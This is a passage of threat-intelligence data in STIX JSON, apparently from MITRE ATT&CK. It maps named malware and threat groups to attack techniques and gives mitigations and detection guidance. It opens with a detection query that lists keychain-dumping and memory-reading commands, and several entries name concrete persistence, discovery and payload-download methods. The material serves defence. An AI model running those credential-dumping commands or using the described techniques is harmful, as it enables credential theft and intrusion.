tries to decrypt the user’s logon keychain.\n\nAnalytic 1 - Commands indicating attempts to read securityd’s memory.\n\n index=security sourcetype IN (\"linux_secure\", \"macos_secure\") event_type=\"process\"\n(CommandLine IN (\"*gcore*\", \"*dbxutil*\", \"*vmmap*\", \"*gdb*\", \"*lldb*\", \"*memdump*\", \"*strings*\", \"*cat /proc/*/maps*\", \"*grep /proc/*/maps*\") OR\n CommandLine IN (\"*security find-generic-password*\", \"*security find-internet-password*\", \"*security dump-keychain*\"))","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--1a80d097-54df-41d8-9d33-34e755ec5e72","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--527e03b3-5b14-4a6c-ab05-0e18bac0357d","created":"2019-10-11T03:32:15.674Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PWC KeyBoys Feb 2017","description":"Parys, B. (2017, February 11). The KeyBoys are back in town. Retrieved June 13, 2019.","url":"https://web.archive.org/web/20211129064701/https://www.pwc.co.uk/issues/cyber-security-services/research/the-keyboys-are-back-in-town.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:22:36.386Z","description":"[KeyBoy](https://attack.mitre.org/software/S0387) uses -w Hidden to conceal a [PowerShell](https://attack.mitre.org/techniques/T1059/001) window that downloads a payload. (Citation: PWC KeyBoys Feb 2017)","relationship_type":"uses","source_ref":"malware--5dd649c0-bca4-488b-bd85-b180474ec62e","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--52893247-a6d6-4119-881a-09e10121edf5","created":"2022-07-25T18:33:20.016Z","x_mitre_version":"0.1","external_references":[{"source_name":"SentinelOne Aoqin Dragon June 2022","url":"https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/","description":"Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Heyoka Backdoor](https://attack.mitre.org/software/S1027) can decrypt its payload prior to execution.(Citation: SentinelOne Aoqin Dragon June 2022)","modified":"2022-07-25T18:33:20.016Z","relationship_type":"uses","source_ref":"malware--dff90475-9f72-41a6-84ed-1fbefd3874c0","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--528d581d-aa34-4162-a773-6b329c3af4cb","created":"2024-10-07T21:43:45.523Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-07T21:43:45.523Z","description":"Enable multi-factor authentication (MFA) for local accounts to add an extra layer of protection against credential theft and misuse. MFA can be implemented using methods like mobile-based authenticators or hardware tokens, even in environments that do not rely on domain controllers or cloud services. This additional security measure can help reduce the risk of adversaries gaining unauthorized access to local systems and resources.","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5291c077-dc09-4716-ab9a-d65318794839","created":"2020-07-15T19:28:00.774Z","x_mitre_version":"1.0","external_references":[{"source_name":"Gh0stRAT ATT March 2019","url":"https://cybersecurity.att.com/blogs/labs-research/the-odd-case-of-a-gh0strat-variant","description":"Quinn, J. (2019, March 25). The odd case of a Gh0stRAT variant. Retrieved July 15, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[gh0st RAT](https://attack.mitre.org/software/S0032) can inject malicious code into process created by the “Command_Create&Inject” function.(Citation: Gh0stRAT ATT March 2019)","modified":"2022-04-15T15:07:46.740Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5292f0c1-e65e-4233-aa97-ab75354d74a9","created":"2020-03-27T20:35:51.492Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Malware Analysis Report 10135536-G","description":"US-CERT. (2018, February 6). Malware Analysis Report 10135536-G. Retrieved August 15, 2024.","url":"https://web.archive.org/web/20200324152106/https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-15T15:35:13.581Z","description":"[BADCALL](https://attack.mitre.org/software/S0245) uses a FakeTLS method during C2.(Citation: Malware Analysis Report 10135536-G)","relationship_type":"uses","source_ref":"malware--9dbdadb6-fdbf-490f-a35f-38762d06a0d2","target_ref":"attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--529360d5-172a-4326-b993-e3af75d3e7af","type":"relationship","created":"2020-03-17T18:23:51.085Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","source_name":"Secureworks BRONZE BUTLER Oct 2017"},{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.169Z","description":"[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used VBS and VBE scripts for execution.(Citation: Secureworks BRONZE BUTLER Oct 2017)(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--52964a10-308f-4661-9081-77f1d3af1f3e","created":"2024-02-22T21:27:20.179Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Rostovcev APT41 2021","description":"Nikita Rostovcev. (2022, August 18). APT41 World Tour 2021 on a tight schedule. Retrieved February 22, 2024.","url":"https://www.group-ib.com/blog/apt41-world-tour-2021/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-03T19:12:36.227Z","description":"[APT41](https://attack.mitre.org/groups/G0096) used the Acunetix SQL injection vulnerability scanner in target reconnaissance operations, as well as the JexBoss tool to identify vulnerabilities in Java applications.(Citation: Rostovcev APT41 2021)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--52978273-355d-4043-b65e-a3e1d0b84b9e","type":"relationship","created":"2020-12-15T01:30:05.468Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 Molerat Mar 2020","url":"https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/","description":"Falcone, R., et al. (2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."}],"modified":"2020-12-15T01:30:05.468Z","description":"[Spark](https://attack.mitre.org/software/S0543) can use cmd.exe to run commands.(Citation: Unit42 Molerat Mar 2020) ","relationship_type":"uses","source_ref":"malware--03ea629c-517a-41e3-94f8-c7e5368cf8f4","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--529ad26d-b31e-41c0-8f19-80e2727eb739","type":"relationship","created":"2021-01-11T19:27:42.170Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Red Canary NETWIRE January 2020","url":"https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/","description":"Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021."}],"modified":"2021-01-11T19:27:42.170Z","description":"[NETWIRE](https://attack.mitre.org/software/S0198) can inject code into system processes including notepad.exe, svchost.exe, and vbc.exe.(Citation: Red Canary NETWIRE January 2020)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--529b0951-548c-4316-93d1-baf97d89f10a","type":"relationship","created":"2020-03-25T18:30:50.113Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-03-16T12:53:42.557Z","description":"Use strong passphrases for private keys to make cracking difficult. Do not store credentials within the Registry. Establish an organizational policy that prohibits password storage in files.","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--529b0bf7-66f3-47f1-893b-4daa157f7760","type":"relationship","created":"2020-02-21T21:15:33.353Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-21T21:15:33.353Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--16e94db9-b5b1-4cd0-b851-f38fbd0a70f2","target_ref":"attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--529e6ba3-a73d-4cca-84e9-d2d047340aa0","created":"2021-04-13T20:27:51.711Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"McAfee Dianxun March 2021","description":"Roccia, T., Seret, T., Fokker, J. (2021, March 16). Technical Analysis of Operation Dianxun. Retrieved April 13, 2021.","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-dianxun.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T22:03:32.835Z","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) has delivered malicious links to their intended targets.(Citation: McAfee Dianxun March 2021)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--52a5b303-b759-424e-86b8-5c855976e5ea","created":"2022-07-01T20:22:01.194Z","x_mitre_version":"0.1","external_references":[{"source_name":"TrendMicro EarthLusca 2022","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Earth Lusca](https://attack.mitre.org/groups/G1006) has used [certutil](https://attack.mitre.org/software/S0160) to decode a string into a cabinet file.(Citation: TrendMicro EarthLusca 2022)","modified":"2022-07-01T20:22:01.194Z","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--52ad9918-ffba-4897-bbdc-261504094339","type":"relationship","created":"2020-04-28T12:47:25.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos PoetRAT April 2020","url":"https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html","description":"Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."}],"modified":"2020-04-28T12:47:25.847Z","description":"[PoetRAT](https://attack.mitre.org/software/S0428) has used a Python tool named Bewmac to record the webcam on compromised hosts.(Citation: Talos PoetRAT April 2020)","relationship_type":"uses","source_ref":"malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c","target_ref":"attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--52ae918a-8afe-4e67-801f-d4fabbecef77","created":"2022-08-10T20:32:26.147Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Talos Intelligence Group","description":"Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. Retrieved August 4, 2022.","url":"https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-01T17:31:07.708Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has aggregated collected credentials in text files before exfiltrating.(Citation: Cisco Talos Intelligence Group)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--52ba680e-2884-4874-a0ea-470c96c4af51","created":"2023-09-26T20:41:44.901Z","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-26T20:41:44.901Z","description":"[SharpDisco](https://attack.mitre.org/software/S1089) can hide windows using `ProcessWindowStyle.Hidden`.(Citation: MoustachedBouncer ESET August 2023)","relationship_type":"uses","source_ref":"malware--1fefb062-feda-484a-8f10-0cebf65e20e3","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--52c18ed1-91a5-4394-a4d0-f700c75bf3d9","type":"relationship","created":"2017-05-31T21:33:27.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/the-epic-turla-operation/65545/","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.","source_name":"Kaspersky Turla"}],"modified":"2019-07-14T21:04:44.775Z","description":"[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover running services and associated processes using the tasklist /svc command.(Citation: Kaspersky Turla)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--52c32b71-1b7c-45e9-b082-7f3f16b90f2b","type":"relationship","created":"2019-02-12T19:56:02.342Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/","source_name":"Unit42 Xbash Sept 2018"}],"modified":"2020-03-19T17:59:21.213Z","description":"[Xbash](https://attack.mitre.org/software/S0341) can create a cronjob for persistence if it determines it is on a Linux system.(Citation: Unit42 Xbash Sept 2018)","relationship_type":"uses","source_ref":"malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c","target_ref":"attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--52c980ba-459b-4d3e-a0a8-f0ba3d2b6e3a","type":"relationship","created":"2021-10-01T01:57:31.778Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro TeamTNT","url":"https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf","description":"Fiser, D. Oliveira, A. (n.d.). Tracking the Activities of TeamTNT A Closer Look at a Cloud-Focused Malicious Actor Group. Retrieved September 22, 2021."}],"modified":"2021-10-01T01:57:31.778Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has scanned for vulnerabilities in IoT devices and other related resources such as the Docker API.(Citation: Trend Micro TeamTNT)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--52cf8793-2f13-45c2-8274-1a9bf5d6224a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Regin","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070305/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf"}],"modified":"2020-06-29T01:54:53.403Z","description":"[Regin](https://attack.mitre.org/software/S0019) leveraged several compromised universities as proxies to obscure its origin.(Citation: Kaspersky Regin)","relationship_type":"uses","source_ref":"malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0","target_ref":"attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--52cfec4e-9a4f-47b4-ba8a-fc95e034ac1e","type":"relationship","created":"2020-02-18T16:56:57.178Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-18T16:56:57.178Z","relationship_type":"revoked-by","source_ref":"attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--52d12577-199c-41a6-92d6-28d26c023aea","type":"relationship","created":"2020-05-05T15:26:30.431Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Carbon Black HotCroissant April 2020","url":"https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/","description":"Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."}],"modified":"2020-05-05T21:17:34.539Z","description":"[Rifdoor](https://attack.mitre.org/software/S0433) has created a new registry entry at HKEY_CURRENT_USERS\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Graphics with a value of C:\\ProgramData\\Initech\\Initech.exe /run.(Citation: Carbon Black HotCroissant April 2020)","relationship_type":"uses","source_ref":"malware--44c75271-0e4d-496f-ae0a-a6d883a42a65","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--52d3e8a9-8801-497f-b1e1-6d45e196c79b","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.","source_name":"FireEye APT34 Dec 2017"}],"modified":"2020-03-18T20:18:02.946Z","description":"(Citation: FireEye APT34 Dec 2017)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--52ded6c4-f6f1-4c9a-8973-4378a91193d5","created":"2021-03-30T17:56:37.704Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kubernetes Hardening Guide","description":"National Security Agency, Cybersecurity and Infrastructure Security Agency. (2022, March). Kubernetes Hardening Guide. Retrieved April 1, 2022.","url":"https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-15T16:07:57.206Z","description":"Ensure containers are not running as root by default. In Kubernetes environments, consider defining Pod Security Standards that prevent pods from running privileged containers.(Citation: Kubernetes Hardening Guide)","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--800f9819-7007-4540-a520-40e655876800","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--52e03b1b-4880-4d36-95f0-10fb0cb9919e","created":"2022-03-30T14:26:51.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-23T21:02:26.233Z","description":"Monitor for newly constructed network connections that are sent or received by untrusted hosts. \n\nNote: Network Analysis frameworks such as Zeek can be used to capture, decode, and alert on TCP network connection creation. ","relationship_type":"detects","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--52e319bc-d6ee-4ab5-a3ae-36f0477cac67","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html","description":"Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.","source_name":"FireEye Know Your Enemy FIN8 Aug 2016"}],"modified":"2019-03-22T20:21:57.786Z","description":"[FIN8](https://attack.mitre.org/groups/G0061) has distributed targeted emails containing links to malicious documents with embedded macros.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--52e9a2ec-3999-4ec5-bdda-227fc2a79173","created":"2024-09-30T17:27:28.119Z","revoked":false,"external_references":[{"source_name":"CISA Play Ransomware Advisory December 2023","description":"CISA. (2023, December 18). #StopRansomware: Play Ransomware AA23-352A. Retrieved September 24, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-352a"},{"source_name":"Trend Micro Ransomware Spotlight Play July 2023","description":"Trend Micro Research. (2023, July 21). Ransomware Spotlight: Play. Retrieved September 24, 2024.","url":"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-30T17:27:28.119Z","description":"[Play](https://attack.mitre.org/groups/G1040) developed and employ [Playcrypt](https://attack.mitre.org/software/S1162) ransomware.(Citation: Trend Micro Ransomware Spotlight Play July 2023)(Citation: CISA Play Ransomware Advisory December 